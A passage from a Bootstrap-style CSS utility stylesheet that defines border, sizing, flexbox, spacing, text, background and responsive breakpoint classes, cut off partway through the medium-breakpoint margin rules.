.border-bottom-0 { border-bottom: 0 !important; } .border-start { border-left: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-start-0 { border-left: 0 !important; } .border-primary { --bs-border-opacity: 1; border-color: rgba(var(--bs-primary-rgb), var(--bs-border-opacity)) !important; } .border-secondary { --bs-border-opacity: 1; border-color: rgba(var(--bs-secondary-rgb), var(--bs-border-opacity)) !important; } .border-success { --bs-border-opacity: 1; border-color: rgba(var(--bs-success-rgb), var(--bs-border-opacity)) !important; } .border-info { --bs-border-opacity: 1; border-color: rgba(var(--bs-info-rgb), var(--bs-border-opacity)) !important; } .border-warning { --bs-border-opacity: 1; border-color: rgba(var(--bs-warning-rgb), var(--bs-border-opacity)) !important; } .border-danger { --bs-border-opacity: 1; border-color: rgba(var(--bs-danger-rgb), var(--bs-border-opacity)) !important; } .border-light { --bs-border-opacity: 1; border-color: rgba(var(--bs-light-rgb), var(--bs-border-opacity)) !important; } .border-dark { --bs-border-opacity: 1; border-color: rgba(var(--bs-dark-rgb), var(--bs-border-opacity)) !important; } .border-black { --bs-border-opacity: 1; border-color: rgba(var(--bs-black-rgb), var(--bs-border-opacity)) !important; } .border-white { --bs-border-opacity: 1; border-color: rgba(var(--bs-white-rgb), var(--bs-border-opacity)) !important; } .border-body { --bs-border-opacity: 1; border-color: rgba(var(--bs-body-rgb), var(--bs-border-opacity)) !important; } .border-0 { --bs-border-width: 0; } .border-1 { --bs-border-width: 1px; } .border-2 { --bs-border-width: 2px; } .border-3 { --bs-border-width: 3px; } .border-4 { --bs-border-width: 4px; } .border-5 { --bs-border-width: 5px; } .border-opacity-10 { --bs-border-opacity: 0.1; } .border-opacity-25 { --bs-border-opacity: 0.25; } .border-opacity-50 { --bs-border-opacity: 0.5; } .border-opacity-75 { --bs-border-opacity: 0.75; } .border-opacity-100 { --bs-border-opacity: 1; } .w-25 { width: 25% !important; } .w-50 { width: 50% !important; } .w-75 { width: 75% !important; } .w-100 { width: 100% !important; } .w-auto { width: auto !important; } .mw-100 { max-width: 100% !important; } .vw-100 { width: 100vw !important; } .min-vw-100 { min-width: 100vw !important; } .h-25 { height: 25% !important; } .h-50 { height: 50% !important; } .h-75 { height: 75% !important; } .h-100 { height: 100% !important; } .h-auto { height: auto !important; } .mh-100 { max-height: 100% !important; } .vh-100 { height: 100vh !important; } .min-vh-100 { min-height: 100vh !important; } .flex-fill { flex: 1 1 auto !important; } .flex-row { flex-direction: row !important; } .flex-column { flex-direction: column !important; } .flex-row-reverse { flex-direction: row-reverse !important; } .flex-column-reverse { flex-direction: column-reverse !important; } .flex-grow-0 { flex-grow: 0 !important; } .flex-grow-1 { flex-grow: 1 !important; } .flex-shrink-0 { flex-shrink: 0 !important; } .flex-shrink-1 { flex-shrink: 1 !important; } .flex-wrap { flex-wrap: wrap !important; } .flex-nowrap { flex-wrap: nowrap !important; } .flex-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-start { justify-content: flex-start !important; } .justify-content-end { justify-content: flex-end !important; } .justify-content-center { justify-content: center !important; } .justify-content-between { justify-content: space-between !important; } .justify-content-around { justify-content: space-around !important; } .justify-content-evenly { justify-content: space-evenly !important; } .align-items-start { align-items: flex-start !important; } .align-items-end { align-items: flex-end !important; } .align-items-center { align-items: center !important; } .align-items-baseline { align-items: baseline !important; } .align-items-stretch { align-items: stretch !important; } .align-content-start { align-content: flex-start !important; } .align-content-end { align-content: flex-end !important; } .align-content-center { align-content: center !important; } .align-content-between { align-content: space-between !important; } .align-content-around { align-content: space-around !important; } .align-content-stretch { align-content: stretch !important; } .align-self-auto { align-self: auto !important; } .align-self-start { align-self: flex-start !important; } .align-self-end { align-self: flex-end !important; } .align-self-center { align-self: center !important; } .align-self-baseline { align-self: baseline !important; } .align-self-stretch { align-self: stretch !important; } .order-first { order: -1 !important; } .order-0 { order: 0 !important; } .order-1 { order: 1 !important; } .order-2 { order: 2 !important; } .order-3 { order: 3 !important; } .order-4 { order: 4 !important; } .order-5 { order: 5 !important; } .order-last { order: 6 !important; } .m-0 { margin: 0 !important; } .m-1 { margin: 0.25rem !important; } .m-2 { margin: 0.5rem !important; } .m-3 { margin: 1rem !important; } .m-4 { margin: 1.5rem !important; } .m-5 { margin: 3rem !important; } .m-auto { margin: auto !important; } .mx-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-auto { margin-right: auto !important; margin-left: auto !important; } .my-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-0 { margin-top: 0 !important; } .mt-1 { margin-top: 0.25rem !important; } .mt-2 { margin-top: 0.5rem !important; } .mt-3 { margin-top: 1rem !important; } .mt-4 { margin-top: 1.5rem !important; } .mt-5 { margin-top: 3rem !important; } .mt-auto { margin-top: auto !important; } .me-0 { margin-right: 0 !important; } .me-1 { margin-right: 0.25rem !important; } .me-2 { margin-right: 0.5rem !important; } .me-3 { margin-right: 1rem !important; } .me-4 { margin-right: 1.5rem !important; } .me-5 { margin-right: 3rem !important; } .me-auto { margin-right: auto !important; } .mb-0 { margin-bottom: 0 !important; } .mb-1 { margin-bottom: 0.25rem !important; } .mb-2 { margin-bottom: 0.5rem !important; } .mb-3 { margin-bottom: 1rem !important; } .mb-4 { margin-bottom: 1.5rem !important; } .mb-5 { margin-bottom: 3rem !important; } .mb-auto { margin-bottom: auto !important; } .ms-0 { margin-left: 0 !important; } .ms-1 { margin-left: 0.25rem !important; } .ms-2 { margin-left: 0.5rem !important; } .ms-3 { margin-left: 1rem !important; } .ms-4 { margin-left: 1.5rem !important; } .ms-5 { margin-left: 3rem !important; } .ms-auto { margin-left: auto !important; } .m-n1 { margin: -0.25rem !important; } .m-n2 { margin: -0.5rem !important; } .m-n3 { margin: -1rem !important; } .m-n4 { margin: -1.5rem !important; } .m-n5 { margin: -3rem !important; } .mx-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-n1 { margin-top: -0.25rem !important; } .mt-n2 { margin-top: -0.5rem !important; } .mt-n3 { margin-top: -1rem !important; } .mt-n4 { margin-top: -1.5rem !important; } .mt-n5 { margin-top: -3rem !important; } .me-n1 { margin-right: -0.25rem !important; } .me-n2 { margin-right: -0.5rem !important; } .me-n3 { margin-right: -1rem !important; } .me-n4 { margin-right: -1.5rem !important; } .me-n5 { margin-right: -3rem !important; } .mb-n1 { margin-bottom: -0.25rem !important; } .mb-n2 { margin-bottom: -0.5rem !important; } .mb-n3 { margin-bottom: -1rem !important; } .mb-n4 { margin-bottom: -1.5rem !important; } .mb-n5 { margin-bottom: -3rem !important; } .ms-n1 { margin-left: -0.25rem !important; } .ms-n2 { margin-left: -0.5rem !important; } .ms-n3 { margin-left: -1rem !important; } .ms-n4 { margin-left: -1.5rem !important; } .ms-n5 { margin-left: -3rem !important; } .p-0 { padding: 0 !important; } .p-1 { padding: 0.25rem !important; } .p-2 { padding: 0.5rem !important; } .p-3 { padding: 1rem !important; } .p-4 { padding: 1.5rem !important; } .p-5 { padding: 3rem !important; } .px-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-0 { padding-top: 0 !important; } .pt-1 { padding-top: 0.25rem !important; } .pt-2 { padding-top: 0.5rem !important; } .pt-3 { padding-top: 1rem !important; } .pt-4 { padding-top: 1.5rem !important; } .pt-5 { padding-top: 3rem !important; } .pe-0 { padding-right: 0 !important; } .pe-1 { padding-right: 0.25rem !important; } .pe-2 { padding-right: 0.5rem !important; } .pe-3 { padding-right: 1rem !important; } .pe-4 { padding-right: 1.5rem !important; } .pe-5 { padding-right: 3rem !important; } .pb-0 { padding-bottom: 0 !important; } .pb-1 { padding-bottom: 0.25rem !important; } .pb-2 { padding-bottom: 0.5rem !important; } .pb-3 { padding-bottom: 1rem !important; } .pb-4 { padding-bottom: 1.5rem !important; } .pb-5 { padding-bottom: 3rem !important; } .ps-0 { padding-left: 0 !important; } .ps-1 { padding-left: 0.25rem !important; } .ps-2 { padding-left: 0.5rem !important; } .ps-3 { padding-left: 1rem !important; } .ps-4 { padding-left: 1.5rem !important; } .ps-5 { padding-left: 3rem !important; } .gap-0 { gap: 0 !important; } .gap-1 { gap: 0.25rem !important; } .gap-2 { gap: 0.5rem !important; } .gap-3 { gap: 1rem !important; } .gap-4 { gap: 1.5rem !important; } .gap-5 { gap: 3rem !important; } .font-monospace { font-family: var(--bs-font-monospace) !important; } .fs-1 { font-size: calc(1.35rem + 1.2vw) !important; } .fs-2 { font-size: calc(1.3rem + 0.6vw) !important; } .fs-3 { font-size: calc(1.275rem + 0.3vw) !important; } .fs-4 { font-size: 1.25rem !important; } .fs-5 { font-size: 1rem !important; } .fs-6 { font-size: 0.9375rem !important; } .fst-italic { font-style: italic !important; } .fst-normal { font-style: normal !important; } .fw-light { font-weight: 300 !important; } .fw-lighter { font-weight: lighter !important; } .fw-normal { font-weight: 400 !important; } .fw-bold { font-weight: 700 !important; } .fw-semibold { font-weight: 600 !important; } .fw-bolder { font-weight: bolder !important; } .lh-1 { line-height: 1 !important; } .lh-sm { line-height: 1.25 !important; } .lh-base { line-height: 1.5 !important; } .lh-lg { line-height: 2 !important; } .text-start { text-align: left !important; } .text-end { text-align: right !important; } .text-center { text-align: center !important; } .text-decoration-none { text-decoration: none !important; } .text-decoration-underline { text-decoration: underline !important; } .text-decoration-line-through { text-decoration: line-through !important; } .text-lowercase { text-transform: lowercase !important; } .text-uppercase { text-transform: uppercase !important; } .text-capitalize { text-transform: capitalize !important; } .text-wrap { white-space: normal !important; } .text-nowrap { white-space: nowrap !important; } /* rtl:begin:remove */ .text-break { word-wrap: break-word !important; word-break: break-word !important; } /* rtl:end:remove */ .text-primary { --bs-text-opacity: 1; color: rgba(var(--bs-primary-rgb), var(--bs-text-opacity)) !important; } .text-secondary { --bs-text-opacity: 1; color: rgba(var(--bs-secondary-rgb), var(--bs-text-opacity)) !important; } .text-success { --bs-text-opacity: 1; color: rgba(var(--bs-success-rgb), var(--bs-text-opacity)) !important; } .text-info { --bs-text-opacity: 1; color: rgba(var(--bs-info-rgb), var(--bs-text-opacity)) !important; } .text-warning { --bs-text-opacity: 1; color: rgba(var(--bs-warning-rgb), var(--bs-text-opacity)) !important; } .text-danger { --bs-text-opacity: 1; color: rgba(var(--bs-danger-rgb), var(--bs-text-opacity)) !important; } .text-light { --bs-text-opacity: 1; color: rgba(var(--bs-light-rgb), var(--bs-text-opacity)) !important; } .text-dark { --bs-text-opacity: 1; color: rgba(var(--bs-dark-rgb), var(--bs-text-opacity)) !important; } .text-black { --bs-text-opacity: 1; color: rgba(var(--bs-black-rgb), var(--bs-text-opacity)) !important; } .text-white { --bs-text-opacity: 1; color: rgba(var(--bs-white-rgb), var(--bs-text-opacity)) !important; } .text-body { --bs-text-opacity: 1; color: rgba(var(--bs-body-color-rgb), var(--bs-text-opacity)) !important; } .text-muted { --bs-text-opacity: 1; color: #6c757d !important; } .text-black-50 { --bs-text-opacity: 1; color: rgba(0, 0, 0, 0.5) !important; } .text-white-50 { --bs-text-opacity: 1; color: rgba(255, 255, 255, 0.5) !important; } .text-reset { --bs-text-opacity: 1; color: inherit !important; } .text-opacity-25 { --bs-text-opacity: 0.25; } .text-opacity-50 { --bs-text-opacity: 0.5; } .text-opacity-75 { --bs-text-opacity: 0.75; } .text-opacity-100 { --bs-text-opacity: 1; } .bg-primary { --bs-bg-opacity: 1; background-color: rgba(var(--bs-primary-rgb), var(--bs-bg-opacity)) !important; } .bg-secondary { --bs-bg-opacity: 1; background-color: rgba(var(--bs-secondary-rgb), var(--bs-bg-opacity)) !important; } .bg-success { --bs-bg-opacity: 1; background-color: rgba(var(--bs-success-rgb), var(--bs-bg-opacity)) !important; } .bg-info { --bs-bg-opacity: 1; background-color: rgba(var(--bs-info-rgb), var(--bs-bg-opacity)) !important; } .bg-warning { --bs-bg-opacity: 1; background-color: rgba(var(--bs-warning-rgb), var(--bs-bg-opacity)) !important; } .bg-danger { --bs-bg-opacity: 1; background-color: rgba(var(--bs-danger-rgb), var(--bs-bg-opacity)) !important; } .bg-light { --bs-bg-opacity: 1; background-color: rgba(var(--bs-light-rgb), var(--bs-bg-opacity)) !important; } .bg-dark { --bs-bg-opacity: 1; background-color: rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important; } .bg-black { --bs-bg-opacity: 1; background-color: rgba(var(--bs-black-rgb), var(--bs-bg-opacity)) !important; } .bg-white { --bs-bg-opacity: 1; background-color: rgba(var(--bs-white-rgb), var(--bs-bg-opacity)) !important; } .bg-body { --bs-bg-opacity: 1; background-color: rgba(var(--bs-body-bg-rgb), var(--bs-bg-opacity)) !important; } .bg-transparent { --bs-bg-opacity: 1; background-color: transparent !important; } .bg-opacity-10 { --bs-bg-opacity: 0.1; } .bg-opacity-25 { --bs-bg-opacity: 0.25; } .bg-opacity-50 { --bs-bg-opacity: 0.5; } .bg-opacity-75 { --bs-bg-opacity: 0.75; } .bg-opacity-100 { --bs-bg-opacity: 1; } .bg-gradient { background-image: var(--bs-gradient) !important; } .user-select-all { -webkit-user-select: all !important; -moz-user-select: all !important; user-select: all !important; } .user-select-auto { -webkit-user-select: auto !important; -moz-user-select: auto !important; user-select: auto !important; } .user-select-none { -webkit-user-select: none !important; -moz-user-select: none !important; user-select: none !important; } .pe-none { pointer-events: none !important; } .pe-auto { pointer-events: auto !important; } .rounded { border-radius: var(--bs-border-radius) !important; } .rounded-0 { border-radius: 0 !important; } .rounded-1 { border-radius: var(--bs-border-radius-sm) !important; } .rounded-2 { border-radius: var(--bs-border-radius) !important; } .rounded-3 { border-radius: var(--bs-border-radius-lg) !important; } .rounded-4 { border-radius: var(--bs-border-radius-xl) !important; } .rounded-5 { border-radius: var(--bs-border-radius-2xl) !important; } .rounded-circle { border-radius: 50% !important; } .rounded-pill { border-radius: var(--bs-border-radius-pill) !important; } .rounded-top { border-top-left-radius: var(--bs-border-radius) !important; border-top-right-radius: var(--bs-border-radius) !important; } .rounded-end { border-top-right-radius: var(--bs-border-radius) !important; border-bottom-right-radius: var(--bs-border-radius) !important; } .rounded-bottom { border-bottom-right-radius: var(--bs-border-radius) !important; border-bottom-left-radius: var(--bs-border-radius) !important; } .rounded-start { border-bottom-left-radius: var(--bs-border-radius) !important; border-top-left-radius: var(--bs-border-radius) !important; } .visible { visibility: visible !important; } .invisible { visibility: hidden !important; } @media (min-width: 576px) { .float-sm-start { float: left !important; } .float-sm-end { float: right !important; } .float-sm-none { float: none !important; } .d-sm-inline { display: inline !important; } .d-sm-inline-block { display: inline-block !important; } .d-sm-block { display: block !important; } .d-sm-grid { display: grid !important; } .d-sm-table { display: table !important; } .d-sm-table-row { display: table-row !important; } .d-sm-table-cell { display: table-cell !important; } .d-sm-flex { display: flex !important; } .d-sm-inline-flex { display: inline-flex !important; } .d-sm-none { display: none !important; } .flex-sm-fill { flex: 1 1 auto !important; } .flex-sm-row { flex-direction: row !important; } .flex-sm-column { flex-direction: column !important; } .flex-sm-row-reverse { flex-direction: row-reverse !important; } .flex-sm-column-reverse { flex-direction: column-reverse !important; } .flex-sm-grow-0 { flex-grow: 0 !important; } .flex-sm-grow-1 { flex-grow: 1 !important; } .flex-sm-shrink-0 { flex-shrink: 0 !important; } .flex-sm-shrink-1 { flex-shrink: 1 !important; } .flex-sm-wrap { flex-wrap: wrap !important; } .flex-sm-nowrap { flex-wrap: nowrap !important; } .flex-sm-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-sm-start { justify-content: flex-start !important; } .justify-content-sm-end { justify-content: flex-end !important; } .justify-content-sm-center { justify-content: center !important; } .justify-content-sm-between { justify-content: space-between !important; } .justify-content-sm-around { justify-content: space-around !important; } .justify-content-sm-evenly { justify-content: space-evenly !important; } .align-items-sm-start { align-items: flex-start !important; } .align-items-sm-end { align-items: flex-end !important; } .align-items-sm-center { align-items: center !important; } .align-items-sm-baseline { align-items: baseline !important; } .align-items-sm-stretch { align-items: stretch !important; } .align-content-sm-start { align-content: flex-start !important; } .align-content-sm-end { align-content: flex-end !important; } .align-content-sm-center { align-content: center !important; } .align-content-sm-between { align-content: space-between !important; } .align-content-sm-around { align-content: space-around !important; } .align-content-sm-stretch { align-content: stretch !important; } .align-self-sm-auto { align-self: auto !important; } .align-self-sm-start { align-self: flex-start !important; } .align-self-sm-end { align-self: flex-end !important; } .align-self-sm-center { align-self: center !important; } .align-self-sm-baseline { align-self: baseline !important; } .align-self-sm-stretch { align-self: stretch !important; } .order-sm-first { order: -1 !important; } .order-sm-0 { order: 0 !important; } .order-sm-1 { order: 1 !important; } .order-sm-2 { order: 2 !important; } .order-sm-3 { order: 3 !important; } .order-sm-4 { order: 4 !important; } .order-sm-5 { order: 5 !important; } .order-sm-last { order: 6 !important; } .m-sm-0 { margin: 0 !important; } .m-sm-1 { margin: 0.25rem !important; } .m-sm-2 { margin: 0.5rem !important; } .m-sm-3 { margin: 1rem !important; } .m-sm-4 { margin: 1.5rem !important; } .m-sm-5 { margin: 3rem !important; } .m-sm-auto { margin: auto !important; } .mx-sm-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-sm-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-sm-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-sm-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-sm-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-sm-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-sm-auto { margin-right: auto !important; margin-left: auto !important; } .my-sm-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-sm-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-sm-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-sm-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-sm-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-sm-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-sm-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-sm-0 { margin-top: 0 !important; } .mt-sm-1 { margin-top: 0.25rem !important; } .mt-sm-2 { margin-top: 0.5rem !important; } .mt-sm-3 { margin-top: 1rem !important; } .mt-sm-4 { margin-top: 1.5rem !important; } .mt-sm-5 { margin-top: 3rem !important; } .mt-sm-auto { margin-top: auto !important; } .me-sm-0 { margin-right: 0 !important; } .me-sm-1 { margin-right: 0.25rem !important; } .me-sm-2 { margin-right: 0.5rem !important; } .me-sm-3 { margin-right: 1rem !important; } .me-sm-4 { margin-right: 1.5rem !important; } .me-sm-5 { margin-right: 3rem !important; } .me-sm-auto { margin-right: auto !important; } .mb-sm-0 { margin-bottom: 0 !important; } .mb-sm-1 { margin-bottom: 0.25rem !important; } .mb-sm-2 { margin-bottom: 0.5rem !important; } .mb-sm-3 { margin-bottom: 1rem !important; } .mb-sm-4 { margin-bottom: 1.5rem !important; } .mb-sm-5 { margin-bottom: 3rem !important; } .mb-sm-auto { margin-bottom: auto !important; } .ms-sm-0 { margin-left: 0 !important; } .ms-sm-1 { margin-left: 0.25rem !important; } .ms-sm-2 { margin-left: 0.5rem !important; } .ms-sm-3 { margin-left: 1rem !important; } .ms-sm-4 { margin-left: 1.5rem !important; } .ms-sm-5 { margin-left: 3rem !important; } .ms-sm-auto { margin-left: auto !important; } .m-sm-n1 { margin: -0.25rem !important; } .m-sm-n2 { margin: -0.5rem !important; } .m-sm-n3 { margin: -1rem !important; } .m-sm-n4 { margin: -1.5rem !important; } .m-sm-n5 { margin: -3rem !important; } .mx-sm-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-sm-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-sm-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-sm-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-sm-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-sm-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-sm-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-sm-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-sm-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-sm-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-sm-n1 { margin-top: -0.25rem !important; } .mt-sm-n2 { margin-top: -0.5rem !important; } .mt-sm-n3 { margin-top: -1rem !important; } .mt-sm-n4 { margin-top: -1.5rem !important; } .mt-sm-n5 { margin-top: -3rem !important; } .me-sm-n1 { margin-right: -0.25rem !important; } .me-sm-n2 { margin-right: -0.5rem !important; } .me-sm-n3 { margin-right: -1rem !important; } .me-sm-n4 { margin-right: -1.5rem !important; } .me-sm-n5 { margin-right: -3rem !important; } .mb-sm-n1 { margin-bottom: -0.25rem !important; } .mb-sm-n2 { margin-bottom: -0.5rem !important; } .mb-sm-n3 { margin-bottom: -1rem !important; } .mb-sm-n4 { margin-bottom: -1.5rem !important; } .mb-sm-n5 { margin-bottom: -3rem !important; } .ms-sm-n1 { margin-left: -0.25rem !important; } .ms-sm-n2 { margin-left: -0.5rem !important; } .ms-sm-n3 { margin-left: -1rem !important; } .ms-sm-n4 { margin-left: -1.5rem !important; } .ms-sm-n5 { margin-left: -3rem !important; } .p-sm-0 { padding: 0 !important; } .p-sm-1 { padding: 0.25rem !important; } .p-sm-2 { padding: 0.5rem !important; } .p-sm-3 { padding: 1rem !important; } .p-sm-4 { padding: 1.5rem !important; } .p-sm-5 { padding: 3rem !important; } .px-sm-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-sm-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-sm-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-sm-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-sm-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-sm-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-sm-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-sm-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-sm-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-sm-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-sm-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-sm-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-sm-0 { padding-top: 0 !important; } .pt-sm-1 { padding-top: 0.25rem !important; } .pt-sm-2 { padding-top: 0.5rem !important; } .pt-sm-3 { padding-top: 1rem !important; } .pt-sm-4 { padding-top: 1.5rem !important; } .pt-sm-5 { padding-top: 3rem !important; } .pe-sm-0 { padding-right: 0 !important; } .pe-sm-1 { padding-right: 0.25rem !important; } .pe-sm-2 { padding-right: 0.5rem !important; } .pe-sm-3 { padding-right: 1rem !important; } .pe-sm-4 { padding-right: 1.5rem !important; } .pe-sm-5 { padding-right: 3rem !important; } .pb-sm-0 { padding-bottom: 0 !important; } .pb-sm-1 { padding-bottom: 0.25rem !important; } .pb-sm-2 { padding-bottom: 0.5rem !important; } .pb-sm-3 { padding-bottom: 1rem !important; } .pb-sm-4 { padding-bottom: 1.5rem !important; } .pb-sm-5 { padding-bottom: 3rem !important; } .ps-sm-0 { padding-left: 0 !important; } .ps-sm-1 { padding-left: 0.25rem !important; } .ps-sm-2 { padding-left: 0.5rem !important; } .ps-sm-3 { padding-left: 1rem !important; } .ps-sm-4 { padding-left: 1.5rem !important; } .ps-sm-5 { padding-left: 3rem !important; } .gap-sm-0 { gap: 0 !important; } .gap-sm-1 { gap: 0.25rem !important; } .gap-sm-2 { gap: 0.5rem !important; } .gap-sm-3 { gap: 1rem !important; } .gap-sm-4 { gap: 1.5rem !important; } .gap-sm-5 { gap: 3rem !important; } .text-sm-start { text-align: left !important; } .text-sm-end { text-align: right !important; } .text-sm-center { text-align: center !important; } } @media (min-width: 768px) { .float-md-start { float: left !important; } .float-md-end { float: right !important; } .float-md-none { float: none !important; } .d-md-inline { display: inline !important; } .d-md-inline-block { display: inline-block !important; } .d-md-block { display: block !important; } .d-md-grid { display: grid !important; } .d-md-table { display: table !important; } .d-md-table-row { display: table-row !important; } .d-md-table-cell { display: table-cell !important; } .d-md-flex { display: flex !important; } .d-md-inline-flex { display: inline-flex !important; } .d-md-none { display: none !important; } .flex-md-fill { flex: 1 1 auto !important; } .flex-md-row { flex-direction: row !important; } .flex-md-column { flex-direction: column !important; } .flex-md-row-reverse { flex-direction: row-reverse !important; } .flex-md-column-reverse { flex-direction: column-reverse !important; } .flex-md-grow-0 { flex-grow: 0 !important; } .flex-md-grow-1 { flex-grow: 1 !important; } .flex-md-shrink-0 { flex-shrink: 0 !important; } .flex-md-shrink-1 { flex-shrink: 1 !important; } .flex-md-wrap { flex-wrap: wrap !important; } .flex-md-nowrap { flex-wrap: nowrap !important; } .flex-md-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-md-start { justify-content: flex-start !important; } .justify-content-md-end { justify-content: flex-end !important; } .justify-content-md-center { justify-content: center !important; } .justify-content-md-between { justify-content: space-between !important; } .justify-content-md-around { justify-content: space-around !important; } .justify-content-md-evenly { justify-content: space-evenly !important; } .align-items-md-start { align-items: flex-start !important; } .align-items-md-end { align-items: flex-end !important; } .align-items-md-center { align-items: center !important; } .align-items-md-baseline { align-items: baseline !important; } .align-items-md-stretch { align-items: stretch !important; } .align-content-md-start { align-content: flex-start !important; } .align-content-md-end { align-content: flex-end !important; } .align-content-md-center { align-content: center !important; } .align-content-md-between { align-content: space-between !important; } .align-content-md-around { align-content: space-around !important; } .align-content-md-stretch { align-content: stretch !important; } .align-self-md-auto { align-self: auto !important; } .align-self-md-start { align-self: flex-start !important; } .align-self-md-end { align-self: flex-end !important; } .align-self-md-center { align-self: center !important; } .align-self-md-baseline { align-self: baseline !important; } .align-self-md-stretch { align-self: stretch !important; } .order-md-first { order: -1 !important; } .order-md-0 { order: 0 !important; } .order-md-1 { order: 1 !important; } .order-md-2 { order: 2 !important; } .order-md-3 { order: 3 !important; } .order-md-4 { order: 4 !important; } .order-md-5 { order: 5 !important; } .order-md-last { order: 6 !important; } .m-md-0 { margin: 0 !important; } .m-md-1 { margin: 0.25rem !important; } .m-md-2 { margin: 0.5rem !important; } .m-md-3 { margin: 1rem !important; } .m-md-4 { margin: 1.5rem !important; } .m-md-5 { margin: 3rem !important; } .m-md-auto { margin: auto !important; } .mx-md-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-md-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-md-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-md-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-md-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-md-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-md-auto { margin-right: auto !important; margin-left: auto !important; } .my-md-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-md-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-md-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-md-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-md-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-md-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-md-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-md-0 { margin-top: 0 !important; } .mt-md-1 { margin-top: 0.25rem !important; } .mt-md-2 { margin-top: 0.5rem !important; } .mt-md-3 { margin-top: 1rem 